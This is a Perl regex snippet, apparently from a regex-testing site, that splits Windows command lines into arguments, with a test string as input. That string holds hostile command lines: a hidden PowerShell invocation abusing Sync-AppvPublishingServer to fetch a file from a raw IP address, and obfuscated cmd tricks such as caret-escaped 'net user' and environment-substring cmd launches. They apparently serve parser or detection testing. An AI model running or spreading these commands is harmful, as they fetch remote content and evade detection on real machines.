use strict;
my $str = '"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe" --type=renderer /prefetch:1 "R:\\Coficine\\MCI\\01 Activités\\03 PARTICIPATIONS\\2 Sociétés\\1 Particip. actuelles\\Monello Productions\\03. Dossier client\\01. KYC\\Actionnariat\\Actionnariat - 2018-05-03.pdf"
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \\n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css}
"UNIT TESTS :"
\'\'
arg0\\ \\ \\\\ "arg1\\"\\"" "arg2\\"\\\\""arg3 \\"" \'arg4"arg4"\' arg5 arg6
space_bef_and_aft__arg0 arg1 arg2 arg3
space_aft___________arg0 arg1 arg2 arg3
space_bef__________arg0 arg1 arg2 arg3
nospace_____________arg0 arg1 arg2 arg3
multispace______________arg0 arg1 arg2 arg3 arg4
C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\cwp.py C:\\ProgramData\\Anaconda3 C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\Scripts\\jupyter-notebook-script.py "%USERPROFILE%/"
.
`echo `ls "/tmp"``\'``\'
1""3"4"
n^e^t u^s^er
cmd /c "set x=calc & echo %x% | cmd"
cmd /c "set x=c@alc & echo %x:@=mantvydas% | cmd"
\\c \\\\ \\\' \\" \'\\\'\\\'\\\'\\\'\\\'\\\'\\\'\\\\\'
\'# this will take the C character from %programdata% and will launch the cmd prompt\'
%programdata:~0,1%md \\c "whatever"
@cmd
set pSM
PSModulePath=C:\\Users\\mantvydas\\Documents\\WindowsPowerShell\\Modules;....
FOR /F "tokens=7 delims=s\\\\" %g IN (\'set^|findstr PSM\') do %g
cmd,/c;hostname
';
my $regex = qr/(?#\
Doc: This regex will split the commandline in arguments
Details:
The arg variable will contain all the different arguments
argument delimiters are in two categories :
whitespaces delimiters : \t \n \r \v ' '
',' : is a delimiter in the windows cmd
but it's not one in the powershell
quotation delimiters : \' \` \"
Variables:
arg : will contain each argument
Next variables can be adjusted by adding or deleting delimiters
quote_delimiters : quoted argument delimiters
whitespace_delimiters : whitespace argument delimiters
)(?#\
)(?<arg>(?#\
)(?<arg_quote>(?#\
)(?<quote_delimiters>"|'|`)(?#\
)(?:(?#\
)(?!\3)(?#\
)(?<escape>(?(?!\\)[\x00-\xFF]|[\x00-\xFF]{2}))(?#\
))*(?#\
)\3(?#\
))|(?<arg_whitespace>(?#\
)(?:(?#\
)(?!(?#\
)(?<whitespace_delimiters>\s|$)|(?#\
)(?P>quote_delimiters)(?#\
))(?#\
)(?P>escape)(?#\
))+(?#\
))(?#\
))(?#\
)(?#\
)(?#\
Related doc:
https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019
http://daviddeley.com/autohotkey/parameters/parameters.htm
)/mp;
if ( $str =~ /$regex/g ) {
print "Whole match is ${^MATCH} and its start/end positions can be obtained via \$-[0] and \$+[0]\n";
# print "Capture Group 1 is $1 and its start/end positions can be obtained via \$-[1] and \$+[1]\n";
# print "Capture Group 2 is $2 ... and so on\n";
}
# ${^POSTMATCH} and ${^PREMATCH} are also available with the use of '/p'
# Named capture groups can be called via $+{name}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Perl, please visit: http://perldoc.perl.org/perlre.html